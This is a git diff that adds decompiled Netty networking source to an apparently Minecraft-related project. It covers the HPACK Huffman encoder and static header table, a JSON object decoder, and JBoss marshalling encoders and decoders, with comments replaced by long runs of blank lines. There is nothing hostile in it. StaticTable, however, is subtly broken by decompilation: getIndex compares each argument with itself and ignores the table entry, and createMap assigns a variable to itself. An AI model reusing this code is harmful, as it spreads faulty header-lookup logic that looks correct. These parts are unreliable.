+import io.netty.buffer.ByteBuf;
+import io.netty.util.AsciiString;
+import io.netty.util.ByteProcessor;
+import io.netty.util.internal.ObjectUtil;
+import io.netty.util.internal.PlatformDependent;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+final class HuffmanEncoder
+{
+  private final int[] codes;
+  private final byte[] lengths;
+  private final EncodedLengthProcessor encodedLengthProcessor = new EncodedLengthProcessor(null);
+  private final EncodeProcessor encodeProcessor = new EncodeProcessor(null);
+  
+  HuffmanEncoder() {
+    this(HpackUtil.HUFFMAN_CODES, HpackUtil.HUFFMAN_CODE_LENGTHS);
+  }
+  
+
+
+
+
+
+  private HuffmanEncoder(int[] codes, byte[] lengths)
+  {
+    this.codes = codes;
+    this.lengths = lengths;
+  }
+  
+
+
+
+
+
+  public void encode(ByteBuf out, CharSequence data)
+  {
+    ObjectUtil.checkNotNull(out, "out");
+    if ((data instanceof AsciiString)) {
+      AsciiString string = (AsciiString)data;
+      try {
+        encodeProcessor.out = out;
+        string.forEachByte(encodeProcessor);
+      } catch (Exception e) {
+        PlatformDependent.throwException(e);
+      } finally {
+        encodeProcessor.end();
+      }
+    } else {
+      encodeSlowPath(out, data);
+    }
+  }
+  
+  private void encodeSlowPath(ByteBuf out, CharSequence data) {
+    long current = 0L;
+    int n = 0;
+    
+    for (int i = 0; i < data.length(); i++) {
+      int b = data.charAt(i) & 0xFF;
+      int code = codes[b];
+      int nbits = lengths[b];
+      
+      current <<= nbits;
+      current |= code;
+      n += nbits;
+      
+      while (n >= 8) {
+        n -= 8;
+        out.writeByte((int)(current >> n));
+      }
+    }
+    
+    if (n > 0) {
+      current <<= 8 - n;
+      current |= 255 >>> n;
+      out.writeByte((int)current);
+    }
+  }
+  
+
+
+
+
+
+  public int getEncodedLength(CharSequence data)
+  {
+    if ((data instanceof AsciiString)) {
+      AsciiString string = (AsciiString)data;
+      try {
+        encodedLengthProcessor.reset();
+        string.forEachByte(encodedLengthProcessor);
+        return encodedLengthProcessor.length();
+      } catch (Exception e) {
+        PlatformDependent.throwException(e);
+        return -1;
+      }
+    }
+    return getEncodedLengthSlowPath(data);
+  }
+  
+  private int getEncodedLengthSlowPath(CharSequence data)
+  {
+    long len = 0L;
+    for (int i = 0; i < data.length(); i++) {
+      len += lengths[(data.charAt(i) & 0xFF)];
+    }
+    return (int)(len + 7L >> 3);
+  }
+  
+  private final class EncodeProcessor implements ByteProcessor {
+    ByteBuf out;
+    private long current;
+    private int n;
+    
+    private EncodeProcessor() {}
+    
+    public boolean process(byte value) { int b = value & 0xFF;
+      int nbits = lengths[b];
+      
+      current <<= nbits;
+      current |= codes[b];
+      n += nbits;
+      
+      while (n >= 8) {
+        n -= 8;
+        out.writeByte((int)(current >> n));
+      }
+      return true;
+    }
+    
+    void end() {
+      try {
+        if (n > 0) {
+          current <<= 8 - n;
+          current |= 255 >>> n;
+          out.writeByte((int)current);
+        }
+      } finally {
+        out = null;
+        current = 0L;
+        n = 0;
+      }
+    }
+  }
+  
+  private final class EncodedLengthProcessor implements ByteProcessor {
+    private long len;
+    
+    private EncodedLengthProcessor() {}
+    
+    public boolean process(byte value) { len += lengths[(value & 0xFF)];
+      return true;
+    }
+    
+    void reset() {
+      len = 0L;
+    }
+    
+    int length() {
+      return (int)(len + 7L >> 3);
+    }
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/http2/internal/hpack/StaticTable.java b/src/minecraft/io/netty/handler/codec/http2/internal/hpack/StaticTable.java
new file mode 100644
index 0000000..9d314f4
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http2/internal/hpack/StaticTable.java
@@ -0,0 +1,187 @@
+package io.netty.handler.codec.http2.internal.hpack;
+
+import io.netty.handler.codec.UnsupportedValueConverter;
+import io.netty.handler.codec.http2.CharSequenceMap;
+import io.netty.util.AsciiString;
+import java.util.Arrays;
+import java.util.List;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+final class StaticTable
+{
+  private static final List<HeaderField> STATIC_TABLE = Arrays.asList(new HeaderField[] { newEmptyHeaderField(":authority"), newHeaderField(":method", "GET"), newHeaderField(":method", "POST"), newHeaderField(":path", "/"), newHeaderField(":path", "/index.html"), newHeaderField(":scheme", "http"), newHeaderField(":scheme", "https"), newHeaderField(":status", "200"), newHeaderField(":status", "204"), newHeaderField(":status", "206"), newHeaderField(":status", "304"), newHeaderField(":status", "400"), newHeaderField(":status", "404"), newHeaderField(":status", "500"), newEmptyHeaderField("accept-charset"), newHeaderField("accept-encoding", "gzip, deflate"), newEmptyHeaderField("accept-language"), newEmptyHeaderField("accept-ranges"), newEmptyHeaderField("accept"), newEmptyHeaderField("access-control-allow-origin"), newEmptyHeaderField("age"), newEmptyHeaderField("allow"), newEmptyHeaderField("authorization"), newEmptyHeaderField("cache-control"), newEmptyHeaderField("content-disposition"), newEmptyHeaderField("content-encoding"), newEmptyHeaderField("content-language"), newEmptyHeaderField("content-length"), newEmptyHeaderField("content-location"), newEmptyHeaderField("content-range"), newEmptyHeaderField("content-type"), newEmptyHeaderField("cookie"), newEmptyHeaderField("date"), newEmptyHeaderField("etag"), newEmptyHeaderField("expect"), newEmptyHeaderField("expires"), newEmptyHeaderField("from"), newEmptyHeaderField("host"), newEmptyHeaderField("if-match"), newEmptyHeaderField("if-modified-since"), newEmptyHeaderField("if-none-match"), newEmptyHeaderField("if-range"), newEmptyHeaderField("if-unmodified-since"), newEmptyHeaderField("last-modified"), newEmptyHeaderField("link"), newEmptyHeaderField("location"), newEmptyHeaderField("max-forwards"), newEmptyHeaderField("proxy-authenticate"), newEmptyHeaderField("proxy-authorization"), newEmptyHeaderField("range"), newEmptyHeaderField("referer"), newEmptyHeaderField("refresh"), newEmptyHeaderField("retry-after"), newEmptyHeaderField("server"), newEmptyHeaderField("set-cookie"), newEmptyHeaderField("strict-transport-security"), newEmptyHeaderField("transfer-encoding"), newEmptyHeaderField("user-agent"), newEmptyHeaderField("vary"), newEmptyHeaderField("via"), newEmptyHeaderField("www-authenticate") });
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  private static HeaderField newEmptyHeaderField(CharSequence name)
+  {
+    return newHeaderField(name, AsciiString.EMPTY_STRING);
+  }
+  
+  private static HeaderField newHeaderField(CharSequence name, CharSequence value) {
+    return new HeaderField(AsciiString.of(name), AsciiString.of(value));
+  }
+  
+  private static final CharSequenceMap<Integer> STATIC_INDEX_BY_NAME = createMap();
+  
+
+
+
+  static final int length = STATIC_TABLE.size();
+  
+
+
+  static HeaderField getEntry(int index)
+  {
+    return (HeaderField)STATIC_TABLE.get(index - 1);
+  }
+  
+
+
+
+  static int getIndex(CharSequence name)
+  {
+    Integer index = (Integer)STATIC_INDEX_BY_NAME.get(name);
+    if (index == null) {
+      return -1;
+    }
+    return index.intValue();
+  }
+  
+
+
+
+  static int getIndex(CharSequence name, CharSequence value)
+  {
+    int index = getIndex(name);
+    if (index == -1) {
+      return -1;
+    }
+    
+
+    while (index <= length) {
+      HeaderField entry = getEntry(index);
+      if (HpackUtil.equalsConstantTime(name, name) == 0) {
+        break;
+      }
+      if (HpackUtil.equalsConstantTime(value, value) != 0) {
+        return index;
+      }
+      index++;
+    }
+    
+    return -1;
+  }
+  
+  private static CharSequenceMap<Integer> createMap()
+  {
+    int length = STATIC_TABLE.size();
+    
+    CharSequenceMap<Integer> ret = new CharSequenceMap(true, UnsupportedValueConverter.instance(), length);
+    
+
+
+    for (int index = length; index > 0; index--) {
+      HeaderField entry = getEntry(index);
+      CharSequence name = name;
+      ret.set(name, Integer.valueOf(index));
+    }
+    return ret;
+  }
+  
+  private StaticTable() {}
+}
diff --git a/src/minecraft/io/netty/handler/codec/json/JsonObjectDecoder.java b/src/minecraft/io/netty/handler/codec/json/JsonObjectDecoder.java
new file mode 100644
index 0000000..65100b1
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/json/JsonObjectDecoder.java
@@ -0,0 +1,227 @@
+package io.netty.handler.codec.json;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.buffer.ByteBufUtil;
+import io.netty.channel.ChannelHandlerContext;
+import io.netty.handler.codec.ByteToMessageDecoder;
+import io.netty.handler.codec.CorruptedFrameException;
+import io.netty.handler.codec.TooLongFrameException;
+import java.util.List;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class JsonObjectDecoder
+  extends ByteToMessageDecoder
+{
+  private static final int ST_CORRUPTED = -1;
+  private static final int ST_INIT = 0;
+  private static final int ST_DECODING_NORMAL = 1;
+  private static final int ST_DECODING_ARRAY_STREAM = 2;
+  private int openBraces;
+  private int idx;
+  private int state;
+  private boolean insideString;
+  private final int maxObjectLength;
+  private final boolean streamArrayElements;
+  
+  public JsonObjectDecoder()
+  {
+    this(1048576);
+  }
+  
+  public JsonObjectDecoder(int maxObjectLength) {
+    this(maxObjectLength, false);
+  }
+  
+  public JsonObjectDecoder(boolean streamArrayElements) {
+    this(1048576, streamArrayElements);
+  }
+  
+
+
+
+
+
+
+
+
+  public JsonObjectDecoder(int maxObjectLength, boolean streamArrayElements)
+  {
+    if (maxObjectLength < 1) {
+      throw new IllegalArgumentException("maxObjectLength must be a positive int");
+    }
+    this.maxObjectLength = maxObjectLength;
+    this.streamArrayElements = streamArrayElements;
+  }
+  
+  protected void decode(ChannelHandlerContext ctx, ByteBuf in, List<Object> out) throws Exception
+  {
+    if (state == -1) {
+      in.skipBytes(in.readableBytes());
+      return;
+    }
+    
+
+    int idx = this.idx;
+    int wrtIdx = in.writerIndex();
+    
+    if (wrtIdx > maxObjectLength)
+    {
+      in.skipBytes(in.readableBytes());
+      reset();
+      throw new TooLongFrameException("object length exceeds " + maxObjectLength + ": " + wrtIdx + " bytes discarded");
+    }
+    for (; 
+        
+        idx < wrtIdx; idx++) {
+      byte c = in.getByte(idx);
+      if (state == 1) {
+        decodeByte(c, in, idx);
+        
+
+
+        if (openBraces == 0) {
+          ByteBuf json = extractObject(ctx, in, in.readerIndex(), idx + 1 - in.readerIndex());
+          if (json != null) {
+            out.add(json);
+          }
+          
+
+
+          in.readerIndex(idx + 1);
+          
+
+          reset();
+        }
+      } else if (state == 2) {
+        decodeByte(c, in, idx);
+        
+        if ((!insideString) && (((openBraces == 1) && (c == 44)) || ((openBraces == 0) && (c == 93))))
+        {
+
+          for (int i = in.readerIndex(); Character.isWhitespace(in.getByte(i)); i++) {
+            in.skipBytes(1);
+          }
+          
+
+          int idxNoSpaces = idx - 1;
+          while ((idxNoSpaces >= in.readerIndex()) && (Character.isWhitespace(in.getByte(idxNoSpaces)))) {
+            idxNoSpaces--;
+          }
+          
+          ByteBuf json = extractObject(ctx, in, in.readerIndex(), idxNoSpaces + 1 - in.readerIndex());
+          if (json != null) {
+            out.add(json);
+          }
+          
+          in.readerIndex(idx + 1);
+          
+          if (c == 93) {
+            reset();
+          }
+        }
+      }
+      else if ((c == 123) || (c == 91)) {
+        initDecoding(c);
+        
+        if (state == 2)
+        {
+          in.skipBytes(1);
+        }
+      }
+      else if (Character.isWhitespace(c)) {
+        in.skipBytes(1);
+      } else {
+        state = -1;
+        throw new CorruptedFrameException("invalid JSON received at byte position " + idx + ": " + ByteBufUtil.hexDump(in));
+      }
+    }
+    
+
+    if (in.readableBytes() == 0) {
+      this.idx = 0;
+    } else {
+      this.idx = idx;
+    }
+  }
+  
+
+
+
+  protected ByteBuf extractObject(ChannelHandlerContext ctx, ByteBuf buffer, int index, int length)
+  {
+    return buffer.retainedSlice(index, length);
+  }
+  
+  private void decodeByte(byte c, ByteBuf in, int idx) {
+    if (((c == 123) || (c == 91)) && (!insideString)) {
+      openBraces += 1;
+    } else if (((c == 125) || (c == 93)) && (!insideString)) {
+      openBraces -= 1;
+    } else if (c == 34)
+    {
+
+      if (!insideString) {
+        insideString = true;
+      } else {
+        int backslashCount = 0;
+        idx--;
+        while ((idx >= 0) && 
+          (in.getByte(idx) == 92)) {
+          backslashCount++;
+          idx--;
+        }
+        
+
+
+
+        if (backslashCount % 2 == 0)
+        {
+          insideString = false;
+        }
+      }
+    }
+  }
+  
+  private void initDecoding(byte openingBrace) {
+    openBraces = 1;
+    if ((openingBrace == 91) && (streamArrayElements)) {
+      state = 2;
+    } else {
+      state = 1;
+    }
+  }
+  
+  private void reset() {
+    insideString = false;
+    state = 0;
+    openBraces = 0;
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/marshalling/ChannelBufferByteInput.java b/src/minecraft/io/netty/handler/codec/marshalling/ChannelBufferByteInput.java
new file mode 100644
index 0000000..2652438
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/marshalling/ChannelBufferByteInput.java
@@ -0,0 +1,78 @@
+package io.netty.handler.codec.marshalling;
+
+import io.netty.buffer.ByteBuf;
+import java.io.IOException;
+import org.jboss.marshalling.ByteInput;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+class ChannelBufferByteInput
+  implements ByteInput
+{
+  private final ByteBuf buffer;
+  
+  ChannelBufferByteInput(ByteBuf buffer)
+  {
+    this.buffer = buffer;
+  }
+  
+  public void close()
+    throws IOException
+  {}
+  
+  public int available()
+    throws IOException
+  {
+    return buffer.readableBytes();
+  }
+  
+  public int read() throws IOException
+  {
+    if (buffer.isReadable()) {
+      return buffer.readByte() & 0xFF;
+    }
+    return -1;
+  }
+  
+  public int read(byte[] array) throws IOException
+  {
+    return read(array, 0, array.length);
+  }
+  
+  public int read(byte[] dst, int dstIndex, int length) throws IOException
+  {
+    int available = available();
+    if (available == 0) {
+      return -1;
+    }
+    
+    length = Math.min(available, length);
+    buffer.readBytes(dst, dstIndex, length);
+    return length;
+  }
+  
+  public long skip(long bytes) throws IOException
+  {
+    int readable = buffer.readableBytes();
+    if (readable < bytes) {
+      bytes = readable;
+    }
+    buffer.readerIndex((int)(buffer.readerIndex() + bytes));
+    return bytes;
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/marshalling/ChannelBufferByteOutput.java b/src/minecraft/io/netty/handler/codec/marshalling/ChannelBufferByteOutput.java
new file mode 100644
index 0000000..6ef351b
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/marshalling/ChannelBufferByteOutput.java
@@ -0,0 +1,71 @@
+package io.netty.handler.codec.marshalling;
+
+import io.netty.buffer.ByteBuf;
+import java.io.IOException;
+import org.jboss.marshalling.ByteOutput;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+class ChannelBufferByteOutput
+  implements ByteOutput
+{
+  private final ByteBuf buffer;
+  
+  ChannelBufferByteOutput(ByteBuf buffer)
+  {
+    this.buffer = buffer;
+  }
+  
+
+  public void close()
+    throws IOException
+  {}
+  
+  public void flush()
+    throws IOException
+  {}
+  
+  public void write(int b)
+    throws IOException
+  {
+    buffer.writeByte(b);
+  }
+  
+  public void write(byte[] bytes) throws IOException
+  {
+    buffer.writeBytes(bytes);
+  }
+  
+  public void write(byte[] bytes, int srcIndex, int length) throws IOException
+  {
+    buffer.writeBytes(bytes, srcIndex, length);
+  }
+  
+
+
+
+  ByteBuf getBuffer()
+  {
+    return buffer;
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/marshalling/CompatibleMarshallingDecoder.java b/src/minecraft/io/netty/handler/codec/marshalling/CompatibleMarshallingDecoder.java
new file mode 100644
index 0000000..bfd58e9
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/marshalling/CompatibleMarshallingDecoder.java
@@ -0,0 +1,109 @@
+package io.netty.handler.codec.marshalling;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.channel.ChannelHandlerContext;
+import io.netty.handler.codec.ReplayingDecoder;
+import io.netty.handler.codec.TooLongFrameException;
+import java.util.List;
+import org.jboss.marshalling.ByteInput;
+import org.jboss.marshalling.Unmarshaller;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class CompatibleMarshallingDecoder
+  extends ReplayingDecoder<Void>
+{
+  protected final UnmarshallerProvider provider;
+  protected final int maxObjectSize;
+  private boolean discardingTooLongFrame;
+  
+  public CompatibleMarshallingDecoder(UnmarshallerProvider provider, int maxObjectSize)
+  {
+    this.provider = provider;
+    this.maxObjectSize = maxObjectSize;
+  }
+  
+  protected void decode(ChannelHandlerContext ctx, ByteBuf buffer, List<Object> out) throws Exception
+  {
+    if (discardingTooLongFrame) {
+      buffer.skipBytes(actualReadableBytes());
+      checkpoint();
+      return;
+    }
+    
+    Unmarshaller unmarshaller = provider.getUnmarshaller(ctx);
+    ByteInput input = new ChannelBufferByteInput(buffer);
+    if (maxObjectSize != Integer.MAX_VALUE) {
+      input = new LimitingByteInput(input, maxObjectSize);
+    }
+    try {
+      unmarshaller.start(input);
+      Object obj = unmarshaller.readObject();
+      unmarshaller.finish();
+      out.add(obj);
+    } catch (LimitingByteInput.TooBigObjectException ignored) {
+      discardingTooLongFrame = true;
+      throw new TooLongFrameException();
+    }
+    finally
+    {
+      unmarshaller.close();
+    }
+  }
+  
+  protected void decodeLast(ChannelHandlerContext ctx, ByteBuf buffer, List<Object> out) throws Exception
+  {
+    switch (buffer.readableBytes()) {
+    case 0: 
+      return;
+    
+    case 1: 
+      if (buffer.getByte(buffer.readerIndex()) == 121) {
+        buffer.skipBytes(1); return;
+      }
+      break;
+    }
+    
+    decode(ctx, buffer, out);
+  }
+  
+  public void exceptionCaught(ChannelHandlerContext ctx, Throwable cause) throws Exception
+  {
+    if ((cause instanceof TooLongFrameException)) {
+      ctx.close();
+    } else {
+      super.exceptionCaught(ctx, cause);
+    }
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/marshalling/CompatibleMarshallingEncoder.java b/src/minecraft/io/netty/handler/codec/marshalling/CompatibleMarshallingEncoder.java
new file mode 100644
index 0000000..ac23942
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/marshalling/CompatibleMarshallingEncoder.java
@@ -0,0 +1,58 @@
+package io.netty.handler.codec.marshalling;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.channel.ChannelHandler.Sharable;
+import io.netty.channel.ChannelHandlerContext;
+import io.netty.handler.codec.MessageToByteEncoder;
+import org.jboss.marshalling.Marshaller;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@ChannelHandler.Sharable
+public class CompatibleMarshallingEncoder
+  extends MessageToByteEncoder<Object>
+{
+  private final MarshallerProvider provider;
+  
+  public CompatibleMarshallingEncoder(MarshallerProvider provider)
+  {
+    this.provider = provider;
+  }
+  
+  protected void encode(ChannelHandlerContext ctx, Object msg, ByteBuf out) throws Exception
+  {
+    Marshaller marshaller = provider.getMarshaller(ctx);
+    marshaller.start(new ChannelBufferByteOutput(out));
+    marshaller.writeObject(msg);
+    marshaller.finish();
+    marshaller.close();
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/marshalling/ContextBoundUnmarshallerProvider.java b/src/minecraft/io/netty/handler/codec/marshalling/ContextBoundUnmarshallerProvider.java
new file mode 100644
index 0000000..d97887b
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/marshalling/ContextBoundUnmarshallerProvider.java
@@ -0,0 +1,54 @@
+package io.netty.handler.codec.marshalling;
+
+import io.netty.channel.ChannelHandlerContext;
+import io.netty.util.Attribute;
+import io.netty.util.AttributeKey;
+import org.jboss.marshalling.MarshallerFactory;
+import org.jboss.marshalling.MarshallingConfiguration;
+import org.jboss.marshalling.Unmarshaller;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class ContextBoundUnmarshallerProvider
+  extends DefaultUnmarshallerProvider
+{
+  private static final AttributeKey<Unmarshaller> UNMARSHALLER = AttributeKey.valueOf(ContextBoundUnmarshallerProvider.class.getName() + ".UNMARSHALLER");
+  
+  public ContextBoundUnmarshallerProvider(MarshallerFactory factory, MarshallingConfiguration config)
+  {
+    super(factory, config);
+  }
+  
+  public Unmarshaller getUnmarshaller(ChannelHandlerContext ctx) throws Exception
+  {
+    Attribute<Unmarshaller> attr = ctx.attr(UNMARSHALLER);
+    Unmarshaller unmarshaller = (Unmarshaller)attr.get();
+    if (unmarshaller == null) {
+      unmarshaller = super.getUnmarshaller(ctx);
+      attr.set(unmarshaller);
+    }
+    return unmarshaller;
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/marshalling/DefaultMarshallerProvider.java b/src/minecraft/io/netty/handler/codec/marshalling/DefaultMarshallerProvider.java
new file mode 100644
index 0000000..83587d5
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/marshalling/DefaultMarshallerProvider.java
@@ -0,0 +1,48 @@
+package io.netty.handler.codec.marshalling;
+
+import io.netty.channel.ChannelHandlerContext;
+import org.jboss.marshalling.Marshaller;
+import org.jboss.marshalling.MarshallerFactory;
+import org.jboss.marshalling.MarshallingConfiguration;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class DefaultMarshallerProvider
+  implements MarshallerProvider
+{
+  private final MarshallerFactory factory;
+  private final MarshallingConfiguration config;
+  
+  public DefaultMarshallerProvider(MarshallerFactory factory, MarshallingConfiguration config)
+  {
+    this.factory = factory;
+    this.config = config;
+  }
+  
+  public Marshaller getMarshaller(ChannelHandlerContext ctx) throws Exception
+  {
+    return factory.createMarshaller(config);
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/marshalling/DefaultUnmarshallerProvider.java b/src/minecraft/io/netty/handler/codec/marshalling/DefaultUnmarshallerProvider.java
new file mode 100644
index 0000000..d208174
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/marshalling/DefaultUnmarshallerProvider.java
@@ -0,0 +1,49 @@
+package io.netty.handler.codec.marshalling;
+
+import io.netty.channel.ChannelHandlerContext;
+import org.jboss.marshalling.MarshallerFactory;
+import org.jboss.marshalling.MarshallingConfiguration;
+import org.jboss.marshalling.Unmarshaller;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class DefaultUnmarshallerProvider
+  implements UnmarshallerProvider
+{
+  private final MarshallerFactory factory;
+  private final MarshallingConfiguration config;
+  
+  public DefaultUnmarshallerProvider(MarshallerFactory factory, MarshallingConfiguration config)
+  {
+    this.factory = factory;
+    this.config = config;
+  }
+  
+  public Unmarshaller getUnmarshaller(ChannelHandlerContext ctx) throws Exception
+  {
+    return factory.createUnmarshaller(config);
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/marshalling/LimitingByteInput.java b/src/minecraft/io/netty/handler/codec/marshalling/LimitingByteInput.java
new file mode 100644
index 0000000..2239144
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/marshalling/LimitingByteInput.java
@@ -0,0 +1,105 @@
+package io.netty.handler.codec.marshalling;
+
+import java.io.IOException;
+import org.jboss.marshalling.ByteInput;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+class LimitingByteInput
+  implements ByteInput
+{
+  private static final TooBigObjectException EXCEPTION = new TooBigObjectException();
+  private final ByteInput input;
+  private final long limit;
+  private long read;
+  
+  LimitingByteInput(ByteInput input, long limit)
+  {
+    if (limit <= 0L) {
+      throw new IllegalArgumentException("The limit MUST be > 0");
+    }
+    this.input = input;
+    this.limit = limit;
+  }
+  
+  public void close()
+    throws IOException
+  {}
+  
+  public int available()
+    throws IOException
+  {
+    return readable(input.available());
+  }
+  
+  public int read() throws IOException
+  {
+    int readable = readable(1);
+    if (readable > 0) {
+      int b = input.read();
+      read += 1L;
+      return b;
+    }
+    throw EXCEPTION;
+  }
+  
+  public int read(byte[] array)
+    throws IOException
+  {
+    return read(array, 0, array.length);
+  }
+  
+  public int read(byte[] array, int offset, int length) throws IOException
+  {
+    int readable = readable(length);
+    if (readable > 0) {
+      int i = input.read(array, offset, readable);
+      read += i;
+      return i;
+    }
+    throw EXCEPTION;
+  }
+  
+  public long skip(long bytes)
+    throws IOException
+  {
+    int readable = readable((int)bytes);
+    if (readable > 0) {
+      long i = input.skip(readable);
+      read += i;
+      return i;
+    }
+    throw EXCEPTION;
+  }
+  
+  private int readable(int length)
+  {
+    return (int)Math.min(length, limit - read);
+  }
+  
+  static final class TooBigObjectException
+    extends IOException
+  {
+    private static final long serialVersionUID = 1L;
+    
+    TooBigObjectException() {}
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/marshalling/MarshallerProvider.java b/src/minecraft/io/netty/handler/codec/marshalling/MarshallerProvider.java
new file mode 100644
index 0000000..7aaa1d4
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/marshalling/MarshallerProvider.java
@@ -0,0 +1,10 @@
+package io.netty.handler.codec.marshalling;
+
+import io.netty.channel.ChannelHandlerContext;
+import org.jboss.marshalling.Marshaller;
+
+public abstract interface MarshallerProvider
+{
+  public abstract Marshaller getMarshaller(ChannelHandlerContext paramChannelHandlerContext)
+    throws Exception;
+}
diff --git a/src/minecraft/io/netty/handler/codec/marshalling/MarshallingDecoder.java b/src/minecraft/io/netty/handler/codec/marshalling/MarshallingDecoder.java
new file mode 100644
index 0000000..3be25a8
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/marshalling/MarshallingDecoder.java
@@ -0,0 +1,87 @@
+package io.netty.handler.codec.marshalling;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.channel.ChannelHandlerContext;
+import io.netty.handler.codec.LengthFieldBasedFrameDecoder;
+import org.jboss.marshalling.ByteInput;
+import org.jboss.marshalling.Unmarshaller;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class MarshallingDecoder
+  extends LengthFieldBasedFrameDecoder
+{
+  private final UnmarshallerProvider provider;
+  
+  public MarshallingDecoder(UnmarshallerProvider provider)
+  {
+    this(provider, 1048576);
+  }
+  
+
+
+
+
+
+
+
+  public MarshallingDecoder(UnmarshallerProvider provider, int maxObjectSize)
+  {
+    super(maxObjectSize, 0, 4, 0, 4);
+    this.provider = provider;
+  }
+  
+  protected Object decode(ChannelHandlerContext ctx, ByteBuf in) throws Exception
+  {
+    ByteBuf frame = (ByteBuf)super.decode(ctx, in);
+    if (frame == null) {
+      return null;
+    }
+    
+    Unmarshaller unmarshaller = provider.getUnmarshaller(ctx);
+    ByteInput input = new ChannelBufferByteInput(frame);
+    try
+    {
+      unmarshaller.start(input);
+      Object obj = unmarshaller.readObject();
+      unmarshaller.finish();
+      return obj;
+    }
+    finally
+    {
+      unmarshaller.close();
+    }
+  }
+  
+  protected ByteBuf extractFrame(ChannelHandlerContext ctx, ByteBuf buffer, int index, int length)
+  {
+    return buffer.slice(index, length);
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/marshalling/MarshallingEncoder.java b/src/minecraft/io/netty/handler/codec/marshalling/MarshallingEncoder.java
new file mode 100644
index 0000000..436b991
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/marshalling/MarshallingEncoder.java
@@ -0,0 +1,65 @@
+package io.netty.handler.codec.marshalling;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.channel.ChannelHandler.Sharable;
+import io.netty.channel.ChannelHandlerContext;
+import io.netty.handler.codec.MessageToByteEncoder;
+import org.jboss.marshalling.Marshaller;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@ChannelHandler.Sharable
+public class MarshallingEncoder
+  extends MessageToByteEncoder<Object>
+{
+  private static final byte[] LENGTH_PLACEHOLDER = new byte[4];
+  
+
+  private final MarshallerProvider provider;
+  
+
+
+  public MarshallingEncoder(MarshallerProvider provider)
+  {
+    this.provider = provider;
+  }
+  
+  protected void encode(ChannelHandlerContext ctx, Object msg, ByteBuf out) throws Exception
+  {
+    Marshaller marshaller = provider.getMarshaller(ctx);
+    int lengthPos = out.writerIndex();
+    out.writeBytes(LENGTH_PLACEHOLDER);
+    ChannelBufferByteOutput output = new ChannelBufferByteOutput(out);
+    marshaller.start(output);
+    marshaller.writeObject(msg);
+    marshaller.finish();
+    marshaller.close();
+    
+    out.setInt(lengthPos, out.writerIndex() - lengthPos - 4);
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/marshalling/ThreadLocalMarshallerProvider.java b/src/minecraft/io/netty/handler/codec/marshalling/ThreadLocalMarshallerProvider.java
new file mode 100644
index 0000000..07278c0
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/marshalling/ThreadLocalMarshallerProvider.java
@@ -0,0 +1,56 @@
+package io.netty.handler.codec.marshalling;
+
+import io.netty.channel.ChannelHandlerContext;
+import io.netty.util.concurrent.FastThreadLocal;
+import org.jboss.marshalling.Marshaller;
+import org.jboss.marshalling.MarshallerFactory;
+import org.jboss.marshalling.MarshallingConfiguration;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class ThreadLocalMarshallerProvider
+  implements MarshallerProvider
+{
+  private final FastThreadLocal<Marshaller> marshallers = new FastThreadLocal();
+  
+
+  private final MarshallerFactory factory;
+  
+
+  private final MarshallingConfiguration config;
+  
+
+
+  public ThreadLocalMarshallerProvider(MarshallerFactory factory, MarshallingConfiguration config)
+  {
+    this.factory = factory;
+    this.config = config;
+  }
+  
